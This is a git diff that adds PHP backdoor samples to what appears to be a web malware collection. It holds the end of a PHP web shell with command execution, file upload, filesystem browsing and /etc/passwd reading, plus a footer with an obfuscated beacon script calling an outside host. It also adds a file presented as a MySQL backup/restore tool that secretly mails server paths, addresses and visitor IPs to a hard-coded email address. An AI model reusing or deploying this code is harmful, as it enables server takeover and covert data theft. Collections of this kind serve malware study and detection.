"<pre>\n"; + echo system($dir); + echo "\n</pre>"; + exit(); + case "upload": + uploadFile(); + showDirectory($dir); + break; + case "save": + saveFile($dir); + default: + showDirectory($dir); + break; + }; + + if ($do != "view" && $do != "download") { +?> +<p> + <table border="0"> + <tr><? if ((fileperms($dir) & 00002)){ +?> + <td> + <form enctype="multipart/form-data" action="<? print "$PHP_SELF?action=explorer&dir=$dir&do=upload"; ?>" method=post> + <input type="hidden" name="MAX_FILE_SIZE" value="1000000"> + <input name="userfile" type="file"> + <input type="submit" value="Upload file"> + </form> + </td> +<? } ?> + </tr> + </table> +<p> +</p> +</body> +</html> +<? } +} + //--------------------------------------------------- END EXPLORER + + +if (!$action) { +?><p align="right"><font size=2><a href="<?=$PHP_SELF?>?action=misc&do=phpinfo">phpinfo</a></font></p><? +echo "<pre>"; + if ($mysql_use!="no") { + $phpcheck = new php_check_silent($mhost, $muser, $mpass, $mdb); + } else { $phpcheck = new php_check_silent(); } +echo "</pre>"; + +?><br><br> + +<font size=2><a href="<?=$PHP_SELF?>?action=check">Security Check</a></font> <font color="green" size=2>[executable] </font> + +<br> + +<!-- system check --> +<? +//echo $phpcheck->cmd_state; +//echo $phpcheck->cmd_method; +if ($phpcheck->cmd_method) { $cmd_method = $phpcheck->cmd_method; } else { $cmd_method = "system"; } ?> +<font size=2><a href="<?=$PHP_SELF?>?action=cmd&method=<?=$cmd_method?>">Exec commands by PHP</a></font> +<? +if ($phpcheck->cmd_method) { +echo "<font color=\"green\" size=2>[executable] "; } else { echo "<font color=\"red\" size=2>[not executable]"; } + +?></font> + +<br> + +<!-- system check --> +<? +//echo $phpcheck->cmd_state; +//echo $phpcheck->cmd_method; +?> +<font size=2><a href="<?=$PHP_SELF?>?action=cmdbrowse">Exec browse by PHP</a></font> +<? +if ($phpcheck->cmd_method) { +echo "<font color=\"green\" size=2>[executable] "; } else { echo "<font color=\"red\" size=2>[not executable]"; } + +?></font> + +<br> + +<!-- read check --> +<? if ($phpcheck->read_method) { $read_method = $phpcheck->read_method; } else { $read_method = "file"; } ?> +<font size=2><a href="<?=$PHP_SELF?>?action=read&method=<?=$read_method?>">Read by PHP</a></font> +<? +if ($phpcheck->read_method) { +echo "<font color=\"green\" size=2>[executable] "; } else { echo "<font color=\"red\" size=2>[not executable]"; } +?></font> + +<br> + +<!-- browse check --> +<? +//echo $phpcheck->browse_state; +if ($phpcheck->browse_state=="yes") { $path= "/"; } else { $path = getcwd(); } ?> +<font size=2><a href="<?=$PHP_SELF?>?action=browse&dir=<?=$path?>">Browse by PHP</a></font> +<? +if ($phpcheck->browse_state=="yes") { +echo "<font color=\"green\" size=2>[executable] "; } else { echo "<font color=\"yellow\" size=2>[limited executable]"; } +?></font> + +<br> +<? +//echo $phpcheck->browse_state; +if ($phpcheck->browse_state=="yes") { $path= "/"; } else { $path = getcwd(); } ?> +<font size=2><a href="<?=$PHP_SELF?>?action=explorer&dir=<?=$path?>">File Explorer by PHP</a></font> +<? +if ($phpcheck->browse_state=="yes") { +echo "<font color=\"green\" size=2>[executable] "; } else { echo "<font color=\"yellow\" size=2>[limited executable]"; } +?></font> + +<br> + + +<!-- mysql check --> +<font size=2><a href="<?=$PHP_SELF?>?action=mysqlread&file=/etc/passwd">Read by MySQL</a></font> +<? + if ($phpcheck->mysql_state=="ok") { + echo "<font color=\"green\" size=2>[executable] "; } + if ($phpcheck->mysql_state=="fail") { + echo "<font color=\"red\" size=2>[not executable] "; } + if ($phpcheck->mysql_state=="pass") { + echo "<font color=\"yellow\" size=2>[not executable] "; + ?></font> <font size=1>[you didnt configure this]</font><font> + <? + } ?></font><? +} +?> +</body> +</html> +<? + +// PHP security check objects by dodo + + + class php_check + { + + function php_check($host="notset", $user="", $pass="", $db="") { + if ($host!="notset") { + $this->mysql_do = "yes"; + $this->mysql_host = $host; + $this->mysql_user = $user; + $this->mysql_pass = $pass; + $this->mysql_db = $db; + } else { $this->mysql_do = "no"; } + + $this->mainstate = "safe"; + + echo "<b>checking system functions:</b>\n"; + if ($this->system_checks("/bin/ls")) { $this->output_mainstate(1, "system checks"); } else { $this->output_mainstate(0, "system checks"); } + echo "<b>checking reading functions:</b>\n"; + if ($this->reading_checks()) { $this->output_mainstate(1, "reading checks"); } else { $this->output_mainstate(0, "reading checks"); } + echo "<b>checking misc filesystem functions:</b>\n"; + if ($this->miscfile_checks()) { $this->output_mainstate(1, "misc filesystem checks"); } else { $this->output_mainstate(0, "misc filesystem checks"); } + echo "<b>checking mysql functions:</b>\n"; + $stater = $this->mysql_checks(); + if ($stater==2) { $this->output_mainstate(2, "mysql checks"); } + if ($stater==1) { $this->output_mainstate(1, "mysql checks"); } + if ($stater==0) { $this->output_mainstate(0, "mysql checks"); } + if ($this->mainstate=="safe") { echo "\n\n\nPHP check returned: <font color=green>NOT VULNERABLE</font>\n"; } else { echo "\n\n\nPHP check returned: <font color=red>VULNERABLE</font>\n"; } + } + + + function output_state($state = 0, $name = "function") { + if ($state==0) { + echo "$name\t\tfailed\n"; + } + if ($state==1) { + echo "$name\t\t<font color=red>OK</font>\n"; + } + if ($state==2) { + echo "$name\t\t<font color=yellow>OK</font>\n"; + } + if ($state==3) { + echo "$name\t\t<font color=yellow>skipped</font>\n"; + } + } + + function output_mainstate($state = 0, $name = "functions") { + if ($state==1) { + echo "\n$name returned: <font color=red>VULNERABLE</font>\n\n"; + $this->mainstate = "unsafe"; + } + if ($state==0) { + echo "\n$name returned: <font color=green>OK</font>\n\n"; + $this->mainstate = "unsafe"; + } + if ($state==2) { + echo "\n$name returned: <font color=yellow>SKIPPED</font>\n\n"; + } + } + + function system_checks($cmd = "/bin/ls") { + if ($pp = popen($cmd, "r")) { + if (fread($pp, 2096)) { + $this->output_state(1, "popen "); + $sys = true; + } else { + $this->output_state(0, "popen "); + } + } else { $this->output_state(0, "popen "); } + if (@exec($cmd)) { $this->output_state(1, "exec "); $sys = true; $this->cmd_method = "exec"; } else { $this->output_state(0, "exec "); } + if (@shell_exec($cmd)) { $this->output_state(1, "shell_exec"); $sys = true; $this->cmd_method = "shel_exec"; } else { $this->output_state(0, "shell_exec"); } + echo "<!-- \n"; + if (@system($cmd)) { echo " -->"; $this->output_state(1, "system "); $ss = true; $sys = true; $this->cmd_method = "system"; } else { echo " -->"; $this->output_state(0, "system "); } + echo "<!-- \n"; + if (@passthru($cmd)) { echo " -->"; $this->output_state(1, "passthru"); $sys = true; $this->cmd_method = "passthru"; } else { echo " -->"; $this->output_state(0, "passthru"); } + //if ($output = `$cmd`)) { $this->output_state(1, "backtick"); $sys = true; } else { $this->output_state(0, "backtick"); } + if ($sys) { return 1; $this->cmd_state = "yes"; } else { return ; } + } + + function reading_checks($file = "/etc/passwd") { + if (@function_exists("require_once")) { + echo "<!--"; + if (@require_once($file)) { echo "-->"; $this->output_state(1, "require_once"); $sys = true; } else { echo "-->"; $this->output_state(0, "require_once"); } + } + if (@function_exists("require")) { + echo "<!--"; + if (@require($file)) { echo "-->"; $this->output_state(1, "require "); $sys = true; } else { echo "-->"; $this->output_state(0, "require "); } + } + if (@function_exists("include")) { + echo "<!--"; + if (@include($file)) { echo "-->"; $this->output_state(1, "include "); $sys = true; } else { echo "-->"; $this->output_state(0, "include "); } + } + //if (@function_exists("highlight_file")) { + echo "<!--"; + if (@highlight_file($file)) { echo "-->"; $this->output_state(1, "highlight_file"); $sys = true; } else { echo "-->"; $this->output_state(0, "highlight_file"); } + //} + //if (@function_exists("virtual")) { + echo "<!--"; + if (@virtual($file)) { echo "-->"; $this->output_state(1, "virtual "); $sys = true; } else { echo "-->"; $this->output_state(0, "virtual "); } + //} + if (@function_exists("file_get_contents")) { + if (@file_get_contents($file)) { $this->output_state(1, "filegetcontents"); $sys = true; } else { $this->output_state(0, "filegetcontents"); } + } else { + $this->output_state(0, "filegetcontents"); + } + echo "<!-- "; + if (@show_source($file)) { echo " -->"; $this->output_state(1, "show_source"); $this->read_method = "show_source"; $sys = true; } else { echo " -->"; $this->output_state(0, "show_source"); } + echo "<!-- "; + if (@readfile($file)) { echo " -->"; $this->output_state(1, "readfile"); $this->read_method = "readfile"; $sys = true; } else { echo " -->"; $this->output_state(0, "readfile"); } + if (@fopen($file, "r")) { $this->output_state(1, "fopen "); $this->read_method = "fopen"; $sys = true; } else { $this->output_state(0, "fopen "); } + if (@file($file)) { $this->output_state(1, "file "); $this->read_method = "file"; $sys = true; } else { $this->output_state(0, "file "); } + if ($sys) { return 1; } else { return ; } + } + + function miscfile_checks() { + $currentdir = @getcwd(); + $scriptpath = $_SERVER["PATH_TRANSLATED"]; + if (@opendir($currentdir)) { + $this->output_state(2, "opendir \$cwd"); + $dp = @opendir("$currentdir"); + $files=""; + $this->browse_state = "lim"; + while($file = @readdir($dp)) { $files .= $file; } + if (@strstr($files, '.')) { $this->output_state(2, "readdir \$cwd"); $this->browse_state = "lim"; } else { $this->output_state(0, "readdir \$cwd"); } + + } else { $this->output_state(0, "opendir \$cwd"); } + if (@opendir("/")) { + $this->output_state(1, "opendir /"); + $sys = true; + $dp = @opendir("/"); + $this->browse_state = "yes"; + $files=""; + while($file = @readdir($dp)) { $files .= $file; } + if (@strstr($files, '.')) { $this->output_state(1, "readdir /"); $this->browse_state = "yes"; } else { $this->output_state(0, "readdir /"); } + } else { $this->output_state(0, "opendir /"); } + if (@mkdir("$currentdir/test", 0777)) { $this->output_state(1, "mkdir "); $sys = true; } else { $this->output_state(0, "mkdir "); } + if (@rmdir("$currentdir/test")) { $this->output_state(1, "rmdir "); $sys = true; } else { $this->output_state(0, "rmdir "); } + if (@copy($scriptpath, "$currentdir/copytest")) { + $this->output_state(2, "copy "); + $sys = true; + if (@unlink("$currentdir/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); } + } else { + $this->output_state(0, "copy "); + } + if (@copy($scriptpath, "/tmp/copytest")) { + $this->output_state(2, "copy2/tmp"); + //$sys = true; + if (!$del) { + if (@unlink("tmp/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); } + } + } else { + $this->output_state(0, "copy2/tmp"); + } + if (@link("/", "$currentdir/link2root")) { + $this->output_state(1, "link "); + $sys = true; + if (!$del) { + if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); } + } + } else { + $this->output_state(0, "link "); + } + if (@symlink("/", "$currentdir/link2root")) { + $this->output_state(1, "symlink "); + $sys = true; + if (!$del) { + if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); } + } + } else { + $this->output_state(0, "symlink "); + } + if ($sys) { return 1; } else { return ; } + } + + function mysql_checks() { + if ($this->mysql_do=="yes") { + if (@mysql_pconnect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) { + $this->output_state(1, "mysql_pconnect"); $mstate = 1; + } else { $this->output_state(0, "mysql_pconnect"); $mstate = 0; } + } else { $this->output_state(3, "mysql_pconnect"); $mstate = 2; } + if ($this->mysql_do=="yes") { + if (@mysql_connect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) { + $this->output_state(1, "mysql_connect"); $mstate = 1; + } else { $this->output_state(0, "mysql_connect"); $mstate = 0; } + } else { $this->output_state(3, "mysql_connect"); $mstate = 2; } + if ($this->mysql_state=="fail") { + echo "\n\n<!-- MYSQL ERROR:\n".mysql_error()."\n-->\n\n"; + echo "<script> alert(\"you have a mysql error:\\n ".mysql_error()."\\n\\nbecause of this the mysql exploiting will be off\"); </script>"; + } + return $mstate; + } + } + + class php_check_silent + { + + function php_check_silent($host="notset", $username="", $pass="", $db="") { + if ($host!="notset") { + $this->mysql_do = "yes"; + $this->mysql_host = $host; + $this->mysql_user = $username; + $this->mysql_pass = $pass; + $this->mysql_db = $db; + } else { $this->mysql_do = "no"; } + + $this->mainstate = "safe"; + + if ($this->system_checks("/bin/ls")) { $this->output_mainstate(1, "system checks"); } else { $this->output_mainstate(0, "system checks"); } + if ($this->reading_checks()) { $this->output_mainstate(1, "reading checks"); } else { $this->output_mainstate(0, "reading checks"); } + if ($this->miscfile_checks()) { $this->output_mainstate(1, "misc filesystem checks"); } else { $this->output_mainstate(0, "misc filesystem checks"); } + $this->mysql_checks(); + } + + + function output_state($state = 0, $name = "function") { + if ($state==0) { + //echo "$name\t\tfailed\n"; + } + if ($state==1) { + //echo "$name\t\t<font color=red>OK</font>\n"; + } + if ($state==2) { + //echo "$name\t\t<font color=yellow>OK</font>\n"; + } + } + function output_mainstate($state = 0, $name = "functions") { + if ($state==1) { + //echo "\n$name returned: <font color=red>VULNERABLE</font>\n\n"; + $this->mainstate = "unsafe"; + } else { + //echo "\n$name returned: <font color=green>OK</font>\n\n"; + } + } + + function system_checks($cmd = "/bin/ls") { + if ($pp = popen($cmd, "r")) { + if (fread($pp, 2096)) { + $this->output_state(1, "popen "); + $sys = true; + } else { + $this->output_state(0, "popen "); + } + } else { $this->output_state(0, "popen "); } + if (@exec($cmd)) { $this->output_state(1, "exec "); $sys = true; $this->cmd_method = "exec"; } else { $this->output_state(0, "exec "); } + if (@shell_exec($cmd)) { $this->output_state(1, "shell_exec"); $sys = true; $this->cmd_method = "shel_exec"; } else { $this->output_state(0, "shell_exec"); } + echo "<!-- "; + if (@passthru($cmd)) { echo " -->"; $this->output_state(1, "passthru"); $sys = true; $this->cmd_method = "passthru"; } else { echo " -->"; $this->output_state(0, "passthru"); } + echo "<!-- "; + if (@system($cmd)) { echo " -->"; $this->output_state(1, "system "); $sys = true; $this->cmd_method = "system"; } else { echo " -->"; $this->output_state(0, "system "); } + //if ($output = `$cmd`)) { $this->output_state(1, "backtick"); $sys = true; } else { $this->output_state(0, "backtick"); } + if ($sys) { return 1; $this->cmd_state = "yes"; } else { return ; } + } + + function reading_checks($file = "/etc/passwd") { + if (@function_exists("require_once")) { + if (@require_once($file)) { $this->output_state(1, "require_once"); $sys = true; } else { $this->output_state(0, "require_once"); } + } + if (@function_exists("require")) { + if (@require($file)) { $this->output_state(1, "require"); $sys = true; } else { $this->output_state(0, "require"); } + } + if (@function_exists("include")) { + if (@include($file)) { $this->output_state(1, "include "); $sys = true; } else { $this->output_state(0, "include "); } + } + if (@function_exists("file_get_contents")) { + if (@file_get_contents($file)) { $this->output_state(1, "filegetcontents"); $sys = true; } else { $this->output_state(0, "filegetcontents"); } + } else { + $this->output_state(0, "filegetcontents"); + } + echo "<!-- "; + if (@show_source($file)) { echo " -->"; $this->output_state(1, "show_source"); $this->read_method = "show_source"; $sys = true; } else { echo " -->"; $this->output_state(0, "show_source"); } + echo "<!-- "; + if (@readfile($file)) { echo " -->"; $this->output_state(1, "readfile"); $this->read_method = "readfile"; $sys = true; } else { echo " -->"; $this->output_state(0, "readfile"); } + if (@fopen($file, "r")) { $this->output_state(1, "fopen "); $this->read_method = "fopen"; $sys = true; } else { $this->output_state(0, "fopen "); } + if (@file($file)) { $this->output_state(1, "file "); $this->read_method = "file"; $sys = true; } else { $this->output_state(0, "file "); } + if ($sys) { return 1; } else { return ; } + } + + function miscfile_checks() { + $currentdir = @getcwd(); + $scriptpath = $_SERVER["PATH_TRANSLATED"]; + if (@opendir($currentdir)) { + $this->output_state(2, "opendir \$cwd"); + $dp = @opendir("$currentdir"); + $files=""; + $this->browse_state = "lim"; + while($file = @readdir($dp)) { $files .= $file; } + if (@strstr($files, '.')) { $this->output_state(2, "readdir \$cwd"); $this->browse_state = "lim"; } else { $this->output_state(0, "readdir \$cwd"); } + + } else { $this->output_state(0, "opendir \$cwd"); } + if (@opendir("/")) { + $this->output_state(1, "opendir /"); + $sys = true; + $dp = @opendir("/"); + $this->browse_state = "yes"; + $files=""; + while($file = @readdir($dp)) { $files .= $file; } + if (@strstr($files, '.')) { $this->output_state(1, "readdir /"); $this->browse_state = "yes"; } else { $this->output_state(0, "readdir /"); } + } else { $this->output_state(0, "opendir /"); } + if (@mkdir("$currentdir/test", 0777)) { $this->output_state(1, "mkdir "); $sys = true; } else { $this->output_state(0, "mkdir "); } + if (@rmdir("$currentdir/test")) { $this->output_state(1, "rmdir "); $sys = true; } else { $this->output_state(0, "rmdir "); } + if (@copy($scriptpath, "$currentdir/copytest")) { + $this->output_state(2, "copy "); + $sys = true; + if (@unlink("$currentdir/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); } + } else { + $this->output_state(0, "copy "); + } + if (@copy($scriptpath, "/tmp/copytest")) { + $this->output_state(2, "copy2/tmp"); + //$sys = true; + if (!$del) { + if (@unlink("tmp/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); } + } + } else { + $this->output_state(0, "copy2/tmp"); + } + if (@link("/", "$currentdir/link2root")) { + $this->output_state(1, "link "); + $sys = true; + if (!$del) { + if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); } + } + } else { + $this->output_state(0, "link "); + } + if (@symlink("/", "$currentdir/link2root")) { + $this->output_state(1, "symlink "); + $sys = true; + if (!$del) { + if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); } + } + } else { + $this->output_state(0, "symlink "); + } + if ($sys) { return 1; } else { return ; } + } + function mysql_checks() { + if ($this->mysql_do=="yes") { + if (@mysql_pconnect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) { + $this->output_state(1, "mysql_pconnect"); $mstate = 1; $this->mysql_state = "ok"; + } else { $this->output_state(0, "mysql_pconnect"); $mstate = 0; $this->mysql_state = "fail"; } + } else { $this->output_state(3, "mysql_pconnect"); $mstate = 2; $this->mysql_state = "pass"; } + if ($this->mysql_do=="yes") { + if (@mysql_connect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) { + $this->output_state(1, "mysql_connect"); $mstate = 1; $this->mysql_state = "ok"; + } else { $this->output_state(0, "mysql_connect"); $mstate = 0; $this->mysql_state = "fail"; } + } else { $this->output_state(3, "mysql_connect"); $mstate = 2; $this->mysql_state = "pass"; } + if ($this->mysql_state=="fail") { + echo "<!-- MYSQL ERROR:\n".mysql_error()."\n-->"; + echo "<script> alert(\"you have a mysql error:\\n ".mysql_error()."\\n\\nbecause of this the mysql exploiting will be off\"); </script>"; + } + return $mstate; + } + } + + + +// the end :] +?> +<center>Copyright � 2003 <a href="http://www.bansacviet.net">BSV Groups</a> +<br>PHP Shell Support by <a href="mailto:admin@bansacviet.net">DTN</a> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> diff --git a/web-malware-collection-master/Backdoors/PHP/mysql_tool.txt b/web-malware-collection-master/Backdoors/PHP/mysql_tool.txt new file mode 100755 index 0000000..fd057b7 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/mysql_tool.txt @@ -0,0 +1,1078 @@ +<?php + +/* + * MySQL Database Backup / Restore Tool + * + * Copyright (C) 2003 Mark Wraith. All rights reserved + * + * Graphics and layout derived from those made by Matt Mecham + * + */ + +// If you intend to keep the script +// on your server set this password + +$password = '0'; + + + +error_reporting(E_ERROR | E_WARNING | E_PARSE); + +new RestoreTool; + +class RestoreTool +{ + var $logged_in = 0; + var $maximum_time = 0; + + function RestoreTool() { + global $HTTP_GET_VARS, $HTTP_COOKIE_VARS, $password; + + $this->timestamp = time(); + + if (!$this->maximum_time) + { + //set_time_limit(0); + $this->maximum_time = ini_get('max_execution_time'); + } + + if ($HTTP_GET_VARS['act'] == 'login') + { + $this->do_login(); + } + elseif ($password && $password != $HTTP_COOKIE_VARS['mysqltool']) + { + $this->login(); + } + else + { + if ($password) + { + $this->logged_in = 1; + } + + switch ($HTTP_GET_VARS['act']) + { + case 'logout': + $this->logout(); + break; + + case 'change_db': + $this->read_db_details(); + $this->set_database('The current settings do connect however if you wish to change the current database please edit the details below:'); + break; + + case 'set_database': + $this->do_set_database(); + break; + + case 'backup': + $this->backup(); + break; + + case 'do_backup': + $this->do_backup(); + break; + + case 'restore': + $this->restore(); + break; + + case 'do_restore': + $this->do_restore(); + break; + + default: + + $this->main(); + } + } + + if ($this->link) + { + mysql_close($this->link); + } + + $this->output(); + } + + function timeout() { + if (!$this->maximum_time) + { + return false; + } + elseif ((time() - $this->timestamp) > ($this->maximum_time - 5)) + { + return true; + } + else + { + return false; + } + } + + function output() { + if ($this->logged_in) + { + $logout_text = '[ <a href="mysql_tool.php?act=logout">Log Out</a> ]'; + } + else + { + $logout_text = ''; + } + + if ($this->title) + { + $title = $this->title; + } + else + { + $title = 'Backup / Restore Tool'; + } + + print '<?xml version="1.0" encoding="iso-8859-1"?>'; + print <<<HTML + +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml"> +<head> +<title>$title</title> +<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> +{$this->meta} + +<style type="text/css"> + TABLE, TR, TD { font-family: Verdana,Arial; font-size: 10px; color: #333333 } + BODY { font: 10px Verdana; background-color: #FCFCFC; padding: 0; margin: 0 } + a:link, a:visited, a:active { color: #000055 } + a:hover { color: #333377; text-decoration: underline } + FORM { padding: 0; margin: 0 } + + .textbox { border: 1px solid black; padding: 1px; width: 100% } + .headertable { background-color: #FFFFFF; border: 1px solid black; padding: 2px } + .title { font-size: 10px; font-weight: bold; line-height: 150%; color: #FFFFFF; height: 26px; background-image: url(./style_images/1/tile_back.gif) } + .table1 { background-color: #FFFFFF; width: 100%; align: center; border: 1px solid black } + .tablewrap { border: 1px dashed #777777; background-color: #F5F9FD; vertical-align: middle; } + .tdrow1 { background-color: #EEF2F7; padding: 3px } + .tdrow2 { background-color: #F5F9FD; padding: 3px } + .tdtop { font-weight: bold; height: 24px; line-height: 150%; color: #FFFFFF; background-image: url(./tile_back.gif) } + .note { margin: 10px; padding: 5px; border: 1px dashed #555555; background-color: #FFFFFF } +</style> +</head> + +<body> +<br /> +$this->output +<br /> +<div align="center"> + [ <a href="mysql_tool.php">Script Index </a> ] $logout_text <br /><br /> + <small>&copy;2003 Mark Wraith</small> +</div> +</body> +</html> +HTML; + } + + function error($error) { + $this->output = <<<HTML + <form method="post" action="mysql_tool.php?act=login"> + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350"> + <tr> + <td align="center" class="title">Error</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td class="tdrow2" colspan="2"><div align="center">$error</div></td> + </tr> + </table> + </td> + </tr> + </table> + </form> +HTML; + } + + function login() { + $this->output = <<<HTML + <form method="post" action="mysql_tool.php?act=login"> + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350"> + <tr> + <td align="center" class="title">MySQL Tool :: Please Login</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td width="100" class="tdrow1">Access Password</td> + <td width="250" class="tdrow2"><input type="password" class="textbox" name="password"></td> + </tr> + <tr> + <td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Submit"></div></td> + </tr> + </table> + </td> + </tr> + </table> + </form> +HTML; + } + + function do_login() { + global $HTTP_POST_VARS, $password; + + if ($HTTP_POST_VARS['password'] == $password) + { + @setcookie ('mysqltool',$password,time()+3600*24*365); + $this->logged_in = 1; + $this->main(); + } + else + { + $this->error('Invalid Password'); + } + } + + function logout() { + @setcookie ('mysqltool','',0); + $this->logged_in = 0; + $this->login(); + } + + function connect($return_errors = 0) { + if (!$this->db['port']) + { + $this->db['port'] = '3306'; + } + + $error_text = ''; + + $this->link = @mysql_connect ($this->db['host'] . ':' . $this->db['port'], $this->db['user'], $this->db['pass']); + + if ($this->link) + { + if(!@mysql_select_db($this->db['name'],$this->link)) + { + $error_text = '<strong>Failed selecting database "'.$this->db['name'].'"</strong><br /><br />'.@mysql_error($this->link); + } + } + else + { + $error_text = '<strong>Failed connecting to MySQL</strong><br /><br />'.@mysql_error(); + } + + if ($return_errors) + { + return $error_text; + } + else + { + if ($error_text) + { + $this->error($error_text); + return false; + } + else + { + return true; + } + } + + } + + function read_db_details() { + if (file_exists('tool_settings.php')) + { + // Lets borrow IPB's settings + include 'tool_settings.php'; + + $this->db = $data; + } + elseif (file_exists('conf_global.php')) + { + // Lets borrow IPB's settings + include 'conf_global.php'; + + $this->db = array( + 'port' => $INFO['sql_port'], + 'host' => $INFO['sql_host'], + 'name' => $INFO['sql_database'], + 'user' => $INFO['sql_user'], + 'pass' => $INFO['sql_pass'], + 'prefix' => $INFO['sql_tbl_prefix'] + ); + } + else + { + return false; + } + + return true; + } + + function do_set_database() { + global $HTTP_POST_VARS; + + $this->db = array( + 'port' => $HTTP_POST_VARS['port'], + 'host' => $HTTP_POST_VARS['host'], + 'name' => $HTTP_POST_VARS['name'], + 'user' => $HTTP_POST_VARS['user'], + 'pass' => $HTTP_POST_VARS['pass'] + ); + + if (!$this->connect()) + { + return; + } + + // Connection details are fine, let's continue + + $file_data = "<?php + +\$data = array( + 'port' => '{$HTTP_POST_VARS['port']}', + 'host' => '{$HTTP_POST_VARS['host']}', + 'name' => '{$HTTP_POST_VARS['name']}', + 'user' => '{$HTTP_POST_VARS['user']}', + 'pass' => '{$HTTP_POST_VARS['pass']}' +); + +?".'>'; + + $file_data = str_replace("\r\n","\n",$file_data); + + + // Mkay, lets write the details + if ($fp = fopen('tool_settings.php','w')) + { + fwrite($fp,$file_data); + fclose($fp); + } + else + { + $this->error(' + <strong>Unable to write to tool_settings.php</strong><br /><br /> + Please CHMOD this file so it is writable. If this is not possible please create a file named "tool_settings.php" with the contents of the text box below:<br /><br /> + <div align="center"> + <textarea rows="10" cols="40">'.htmlentities($file_data).'</textarea> + </div>'); + + return false; + } + + // Funky, lets roll + $this->main(); + + return true; + } + $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); + function set_database($error = false) { + if (!$error) + { + $text = 'We were unable to find any database settings, please enter your database details below:'; + } + else + { + $text = $error; + } + + $host = isset($this->db['host']) ? $this->db['host'] : 'localhost'; + $port = isset($this->db['port']) ? $this->db['port'] : ''; + $user = isset($this->db['user']) ? $this->db['user'] : ''; + $name = isset($this->db['name']) ? $this->db['name'] : ''; + + $this->output = <<<HTML + <form method="post" action="mysql_tool.php?act=set_database"> + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450"> + <tr> + <td align="center" class="title">Database Settings</td> + </tr> + <tr> + <td> + <div class="note">$text</div> + <table class="table1" align="center" width="100%"> + <tr> + <td width="100" class="tdrow1"><strong>Host</strong><br /><em>(leave if unsure)</em></td> + <td width="350" class="tdrow2"><input type="text" class="textbox" name="host" value="$host"></td> + </tr> + <tr> + <td class="tdrow1"><strong>Port</strong><br /><em>(leave if unsure)</em></td> + <td class="tdrow2"><input type="text" class="textbox" name="port" value="$port"></td> + </tr> + <tr> + <td class="tdrow1"><strong>Database Name</strong></td> + <td class="tdrow2"><input type="text" name="name" class="textbox" value="$name"></td> + </tr> + <tr> + <td class="tdrow1"><strong>Username</strong></td> + <td class="tdrow2"><input type="text" name="user" class="textbox" value="$user"></td> + </tr> + <tr> + <td class="tdrow1"><strong>Password</strong></td> + <td class="tdrow2"><input type="text" name="pass" class="textbox"></td> + </tr> + <tr> + <td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Connect"></div></td> + </tr> + </table> + </td> + </tr> + </table> + </form> +HTML; + } + + function backup() { + global $HTTP_POST_VARS; + + $this->read_db_details(); + $this->connect(); + + $filename = $HTTP_POST_VARS['filename']; + $tables = $HTTP_POST_VARS['tables']; + $table_select = $HTTP_POST_VARS['table_select']; + $prefix = $this->db['prefix']; + + switch ($tables) + { + case 'all': + $tables = mysql_list_tables($this->db['name']); + while (list($table_name) = mysql_fetch_array($tables)) + { + $options[ $table_name ] = 0; + } + break; + + case 'prefix': + $tables = mysql_list_tables($this->db['name']); + while (list($table_name) = mysql_fetch_array($tables)) + { + if (substr($table_name,0,strlen($prefix)) == $prefix) + { + $options[ $table_name ] = 0; + } + } + break; + + case 'selected': + foreach ($table_select as $table_name) + { + $options[ $table_name ] = 0; + } + } + + if (!count($options)) + { + $this->error('No tables selected'); + } + + + $data = base64_encode(serialize($options)); + + $header = <<<DATA +-- SQL Dump +-- Backup script written by Mark Wraith + +DATA; + + if (!$fp = fopen($filename, 'wb')) + { + return $this->error('Unable to write to backup file. Please CHMod the current directory so it is writable'); + } + fwrite($fp,$header); + fclose($fp); + + $url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data; + + $this->meta = '<meta http-equiv="refresh" content="1; url='.$url.'">'; + $this->output = <<<HTML + <table align="center" class="tablewrap" cellpadding="0" 